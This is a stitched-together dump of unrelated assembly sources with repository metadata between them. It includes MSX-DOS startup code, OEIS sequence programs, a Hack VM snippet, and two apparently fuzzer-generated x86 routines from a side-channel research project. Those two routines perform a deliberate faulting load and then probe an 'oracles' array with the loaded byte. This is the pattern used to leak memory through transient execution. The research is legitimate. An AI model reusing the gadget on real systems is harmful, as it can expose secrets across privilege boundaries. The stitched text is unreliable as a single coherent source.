nop nop nop nop nop add %rdi, %rdi lea addresses_D_ht+0x1586e, %rdx nop nop nop xor %rdi, %rdi movw $0x6162, (%rdx) nop nop nop dec %rdi lea addresses_normal_ht+0x1bc98, %rcx nop nop nop nop nop xor %r14, %r14 mov $0x6162636465666768, %rsi movq %rsi, %xmm0 vmovups %ymm0, (%rcx) nop nop nop nop nop dec %r10 lea addresses_WT_ht+0x229f, %rcx add %rdi, %rdi mov (%rcx), %r14 nop nop nop nop dec %r10 lea addresses_A_ht+0x12d94, %rcx nop nop xor $65425, %r9 mov (%rcx), %r13 nop nop nop nop add %r9, %r9 pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r14 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r8 push %r9 push %rax push %rbp push %rdi // Load lea addresses_RW+0x88ab, %r13 nop add $38240, %rdi movups (%r13), %xmm2 vpextrq $0, %xmm2, %rax // Exception!!! nop mov (0), %r13 nop nop nop nop cmp %rbp, %rbp // Store lea addresses_UC+0x71f0, %r8 clflush (%r8) nop nop nop nop nop cmp $42063, %r11 movl $0x51525354, (%r8) nop nop nop nop add %r8, %r8 // Store lea addresses_WT+0x11deb, %r8 cmp %rdi, %rdi mov $0x5152535455565758, %rbp movq %rbp, (%r8) nop nop and %rax, %rax // Store lea addresses_A+0x15deb, %rax inc %r8 movl $0x51525354, (%rax) nop nop nop nop add $986, %r8 // Faulty Load mov $0x2ac58b0000000eab, %rdi dec %r9 movups (%rdi), %xmm4 vpextrq $0, %xmm4, %r11 lea oracles, %rbp and $0xff, %r11 shlq $12, %r11 mov (%rbp,%r11,1), %r11 pop %rdi pop %rbp pop %rax pop %r9 pop %r8 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_RW', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_WT', 'AVXalign': False, 'size': 8}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_A', 'AVXalign': False, 'size': 4}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': True, 'same': False, 'congruent': 4, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}} {'src': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 4, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32}} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'src': {'NT': True, 'same': False, 'congruent': 0, 'type': 'addresses_A_ht', 'AVXalign': True, 'size': 8}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
31.326996
2,999
0.652749
4f1cb541dce94aa3c8730d7278ffe3721d34df76
356
asm
Assembly
programs/oeis/130/A130727.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/130/A130727.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/130/A130727.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A130727: List of triples 2n+1, 2n+3, 2n+2. ; 1,3,2,3,5,4,5,7,6,7,9,8,9,11,10,11,13,12,13,15,14,15,17,16,17,19,18,19,21,20,21,23,22,23,25,24,25,27,26,27,29,28,29,31,30,31,33,32,33,35,34,35,37,36,37,39,38,39,41,40,41,43,42,43,45,44,45,47,46,47,49,48,49,51 add $0,2 mov $2,$0 mov $3,$0 lpb $2,1 trn $2,2 mov $1,$2 trn $2,1 sub $3,1 add $1,$3 lpe
25.428571
210
0.595506
349af3f4b953875dacf52fee5ed2a933a1a19e81
7,760
asm
Assembly
lib/target/msx/classic/msxdos.asm
dikdom/z88dk
40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0
[ "ClArtistic" ]
1
2022-03-08T11:55:58.000Z
2022-03-08T11:55:58.000Z
lib/target/msx/classic/msxdos.asm
dikdom/z88dk
40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0
[ "ClArtistic" ]
2
2022-03-20T22:17:35.000Z
2022-03-24T16:10:00.000Z
lib/target/msx/classic/msxdos.asm
jorgegv/z88dk
127130cf11f9ff268ba53e308138b12d2b9be90a
[ "ClArtistic" ]
null
null
null
defc TAR__clib_exit_stack_size = 32 defc TAR__register_sp = -1 IFNDEF CRT_ORG_CODE defc CRT_ORG_CODE = $100 ; MSXDOS ENDIF ; For MSXDOS 1 limit the number of open files to 3 to reduce memory usage ; This can be overridden with -pragma-define:CLIB_OPEN_MAX=NN where NN ; is your chosen number IF CLIB_MSXDOS = 1 IF !DEFINED_CLIB_OPEN_MAX defc DEFINED_CLIB_OPEN_MAX = 1 defc CLIB_OPEN_MAX = 3 ENDIF ENDIF IF !DEFINED_MSXDOS defc MSXDOS = 5 ENDIF IF !DEFINED_CRT_DISABLELOADER defc CRT_DISABLELOADER = 1 ENDIF PUBLIC MSXDOS INCLUDE "crt/classic/crt_rules.inc" org CRT_ORG_CODE ;---------------------- ; Execution starts here ;---------------------- start: IF !DEFINED_noprotectmsdos ; This protection takes little less than 50 bytes defb $eb,$04 ;MS DOS protection... JMPS to MS-DOS message if Intel ex de,hl jp begin ;First decent instruction for Z80, it survived up to here ! defb $b4,$09 ;DOS protection... MOV AH,9 (Err msg for MS-DOS) defb $ba defw dosmessage ;DOS protection... MOV DX,OFFSET dosmessage defb $cd,$21 ;DOS protection... INT 21h. defb $cd,$20 ;DOS protection... INT 20h. dosmessage: defm "This program is for MSXDOS." defb 13,10,'$' begin: ENDIF ld (__restore_sp_onexit+1),sp INCLUDE "crt/classic/crt_init_sp.asm" INCLUDE "crt/classic/crt_init_atexit.asm" call crt0_init_bss ld (exitsp),sp IF CRT_DISABLELOADER != 1 call loadbanks jp c,cleanup ENDIF IF DEFINED_USING_amalloc INCLUDE "crt/classic/crt_init_amalloc.asm" ENDIF ;ld a,($F306) ;ld (defltdsk),a IF CRT_ENABLE_COMMANDLINE = 1 ld hl,$80 ld a,(hl) ld b,0 and a jp z,argv_done ld c,a inc hl add hl,bc ;now points to the end of the command line INCLUDE "crt/classic/crt_command_line.asm" push hl ;argv push bc ;argc ELSE ld hl,0 push hl ;argv push hl ;argc ENDIF call _main ;Call user code pop bc ;kill argv pop bc ;kill argc cleanup: call crt0_exit __restore_sp_onexit: ld sp,0 jp 0 l_dcal: jp (hl) IF CRT_DISABLELOADER != 1 PUBLIC banked_call banked_call: pop hl ; Get the return address ld (mainsp),sp ld sp,(tempsp) call GET_P2 push af ; Push the current bank onto the stack ld e,(hl) ; Fetch the call address inc hl ld d,(hl) inc hl ld a,(hl) ; ...and page inc hl inc hl ; Yes this should be here push hl ; Push the real return address ld hl,bank_mappings ; Mapping 0-255 to actual segment ids add l ld l,a ld a,0 adc h ld h,a ld a,(hl) ;Get the real bank ld (tempsp),sp ld sp,(mainsp) call PUT_P2 ld l,e ld h,d call l_dcal ; jp(hl) ld (mainsp),sp ld sp,(tempsp) pop bc ; Get the return address pop af ; Pop the old bank ld (tempsp),sp ld sp,(mainsp) call PUT_P2 push bc ret hexit: ld c,a rrca rrca rrca rrca call dohex ld a,c dohex: and 15 ld b,'0' cp 10 jr c,not_alpha ld b,'A' - 10 not_alpha: add b ld (hl),a inc hl ret print_message_pop: pop af print_message: ld c,9 call 5 scf ret msg_bankstart: defm "Starting to load banks\r\n$" msg_noextbios: defm "Cannot detect extended BIOS\r\n$" msg_nomapper: defm "Cannot locate mapper\r\n$" msg_cantallocate: defm "Cannot allocate segment\r\n$" msg_loading: defm "Loading....$" msg_lf: defm "\r\n$" loadbanks: ld de,msg_bankstart call print_message ; Setup mapper, extract info etc ld a,($FB20) ;HOKVLD rrca ld de,msg_noextbios jp nc,print_message xor a ld de,$0401 call $FFCA ;EXTBIO xor a ld de,$0402 call $FFCA ;EXTBIO and a ld de,msg_nomapper jp z,print_message ld de,dos2_jump ld bc,dos2_end - dos2_jump ldir ld hl,__crt_loader_filename find_ext: ld a,(hl) cp '.' inc hl jr nz,find_ext ld (extension),hl ld a,0 ;Bank number to start loading from load_loop: push af ;Bank number ld hl,(extension) call hexit inc hl ld (hl),'$' ld de,__crt_loader_filename ld a,1 ;READ only ld c,$43 ;OPEN call 5 and a jp nz,next_file push bc ;b=fd ; Allocate a bank ld b,0 ;Primary mapper ld a,0 ;Allocate user segment call ALL_SEG pop bc ld de,msg_cantallocate jp c,print_message_pop ld c,a ;Save allocated segment pop af push af ld e,a ld hl,bank_mappings ld d,0 add hl,de ld (hl),c ;Save mapping ld a,c call PUT_P2 push bc ld de,msg_loading call print_message ld de,__crt_loader_filename call print_message ld de,msg_lf call print_message pop bc ; b = file handler ld de,32768 ;Just read a banks worth, don't care how much really ld hl,16384 ld c,$48 ;Read push bc call 5 pop bc close_file: ld c,$45 ;Close call 5 next_file: pop af inc a jr nz,load_loop and a ret ; Populated by appmake PUBLIC __crt_loader_filename extension: defw 0 __crt_loader_filename: defm "BANK.00" defs 12 bank_mappings: defs 256 ;This is far too many ; Jump table (copied from on high) dos2_jump: ALL_SEG: defs 3 ;Allocate a 16k segment. FRE_SEG: defs 3 ;Free a 16k segment. RD_SEG: defs 3 ;Read byte from address A:HL to A WR_SEG: defs 3 ;Write byte from E to address A:HL. CAL_SEG: defs 3 ;Inter-segment call. Address in IYh:IX CALLS: defs 3 ;Inter-segment call. Address in line after the call instruction. PUT_PH: defs 3 ;Put segment into page (HL). GET_PH: defs 3 ;Get current segment for page (HL) PUT_P0: defs 3 ;Put segment into page 0. GET_P0: defs 3 ;Get current segment for page 0. PUT_P1: defs 3 ;Put segment into page 1. GET_P1: defs 3 ;Get current segment for page 1. PUT_P2: defs 3 ;Put segment into page 2. GET_P2: defs 3 ;Get current segment for page 2. PUT_P3: defs 3 ;Not supported since page-3 must never be changed. Acts like a "NOP" if called. GET_P3: defs 3 ;Get current segment for page 3. dos2_end: mainsp: defw 0 tempstack: defs CLIB_BANKING_STACK_SIZE tempsp: defw tempstack + CLIB_BANKING_STACK_SIZE ENDIF INCLUDE "crt/classic/crt_runtime_selection.asm" INCLUDE "crt/classic/crt_section.asm" IF CLIB_MSXDOS = 1 INCLUDE "crt/classic/crt_cpm_fcntl.asm" ENDIF SECTION bss_crt PUBLIC brksave brksave: defb 1 IF CRT_DISABLELOADER != 1 ; Include a lot of banks (org to 0x8000) INCLUDE "target/msx/classic/megarom.asm" ENDIF
23.164179
104
0.55683
705e2e2f9b4d12705d853df2f4fe1ea839e9aa30
539
asm
Assembly
oeis/335/A335608.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/335/A335608.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/335/A335608.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A335608: Number of sets (in the Hausdorff metric geometry) at each location between two sets defined by a complete bipartite graph K(3,n) (with n at least 2) missing one edge. ; 8,104,896,6800,49208,349304,2459696,17261600,120962408,847130504,5931094496,41521204400,290659059608,2034645303704,14242612785296,99698576475200,697890896260808,4885238856628904,34196679744812096,239376781458914000,1675637539948086008 add $0,1 mov $1,3 pow $1,$0 mov $2,7 pow $2,$0 add $1,$2 div $1,8 mul $1,5 add $1,1 mov $3,$2 sub $3,$1 mov $0,$3 mul $0,8
31.705882
236
0.7718
9e401103557c4a4f57eb08aa38fb48de3e6d9950
8,116
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48_notsx.log_21829_1548.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48_notsx.log_21829_1548.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48_notsx.log_21829_1548.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r8 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x17034, %r8 nop sub $62359, %r12 mov (%r8), %rsi nop nop nop nop add $28459, %rbp lea addresses_A_ht+0x5188, %rsi nop nop dec %r12 movb (%rsi), %bl xor %rsi, %rsi lea addresses_D_ht+0x1baf8, %rdi nop nop nop nop dec %r15 mov $0x6162636465666768, %rbp movq %rbp, %xmm7 vmovups %ymm7, (%rdi) nop nop nop nop nop cmp %r8, %r8 lea addresses_WC_ht+0x1a78b, %rdi nop nop add $33075, %rbp mov (%rdi), %r15w nop nop nop add $5439, %r15 lea addresses_UC_ht+0x3258, %rsi nop nop nop and %r12, %r12 mov $0x6162636465666768, %rbp movq %rbp, %xmm7 vmovups %ymm7, (%rsi) nop nop nop nop add %r12, %r12 lea addresses_WT_ht+0x1e6e4, %rsi lea addresses_normal_ht+0x1d478, %rdi nop nop nop and %rbp, %rbp mov $112, %rcx rep movsq nop nop nop nop nop and $42186, %r15 lea addresses_A_ht+0x13a38, %rsi lea addresses_D_ht+0xb658, %rdi xor %rbx, %rbx mov $88, %rcx rep movsq nop cmp $31628, %r8 lea addresses_D_ht+0x1ba48, %r15 nop nop nop add $52310, %r12 and $0xffffffffffffffc0, %r15 vmovaps (%r15), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %rbx nop nop nop nop xor %rbp, %rbp lea addresses_UC_ht+0x5f98, %rbp clflush (%rbp) sub $47041, %r12 mov $0x6162636465666768, %rdi movq %rdi, %xmm4 and $0xffffffffffffffc0, %rbp movntdq %xmm4, (%rbp) nop nop xor $27467, %rbx lea addresses_WC_ht+0x1c058, %r12 nop nop nop nop xor %rbx, %rbx movb (%r12), %r15b cmp %rbp, %rbp lea addresses_WT_ht+0x1c858, %rsi lea addresses_UC_ht+0x18a58, %rdi sub %r15, %r15 mov $127, %rcx rep movsw add $12379, %r15 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r13 push %r15 push %rdx push %rsi // Store mov $0x8f8, %rdx nop nop nop nop cmp %r12, %r12 movw $0x5152, (%rdx) inc %r15 // Store lea addresses_WC+0x18358, %r13 nop nop nop nop nop xor %r15, %r15 mov $0x5152535455565758, %rdx movq %rdx, (%r13) nop and $47730, %r10 // Store lea addresses_PSE+0xf398, %r11 nop nop nop xor %rsi, %rsi mov $0x5152535455565758, %r10 movq %r10, %xmm3 vmovups %ymm3, (%r11) nop nop nop xor $36411, %rdx // Store lea addresses_RW+0x1ec58, %r11 nop nop sub %r12, %r12 mov $0x5152535455565758, %rdx movq %rdx, (%r11) nop nop add $17754, %rdx // Store mov $0xfbe, %rdx nop nop nop nop nop add $52971, %rsi mov $0x5152535455565758, %r11 movq %r11, %xmm5 vmovntdq %ymm5, (%rdx) cmp $41986, %r11 // Faulty Load lea addresses_A+0x16258, %r11 nop nop nop nop nop dec %r10 mov (%r11), %edx lea oracles, %r11 and $0xff, %rdx shlq $12, %rdx mov (%r11,%rdx,1), %rdx pop %rsi pop %rdx pop %r15 pop %r13 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_P', 'congruent': 3}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC', 'congruent': 8}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_PSE', 'congruent': 5}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_RW', 'congruent': 8}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_P', 'congruent': 1}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC_ht', 'congruent': 2}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A_ht', 'congruent': 4}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 3}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 11}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WT_ht'}} {'dst': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 5, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 4}} {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 3}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC_ht', 'congruent': 9}} {'dst': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
32.334661
2,999
0.655002
98a1c491e5b013e3bf90f466457052f874d13b8b
146
asm
Assembly
projects/project08/src/translations/gt.asm
lemmingapex/ElementsOfComputingSystems
649c19676141a92ffec4f52b28388ad59048ee04
[ "MIT" ]
15
2015-05-03T10:35:44.000Z
2021-07-21T08:59:03.000Z
projects/project08/src/translations/gt.asm
jigth/ElementsOfComputingSystems
649c19676141a92ffec4f52b28388ad59048ee04
[ "MIT" ]
null
null
null
projects/project08/src/translations/gt.asm
jigth/ElementsOfComputingSystems
649c19676141a92ffec4f52b28388ad59048ee04
[ "MIT" ]
9
2017-02-18T02:29:20.000Z
2021-11-29T22:49:58.000Z
// gt @SP AM=M-1 D=M @SP A=M-1 A=M D=D-A @TRUE%%ID%% D;JLT (FALSE%%ID%%) @SP A=M-1 M=0 @EXIT%%ID%% 0;JMP (TRUE%%ID%%) @SP A=M-1 M=-1 (EXIT%%ID%%)
6.636364
13
0.5
d802989a4224f00af4952399a5766ee640c7fa07
1,438
asm
Assembly
util/thg/nthu.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
util/thg/nthu.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
util/thg/nthu.asm
olifink/smsqe
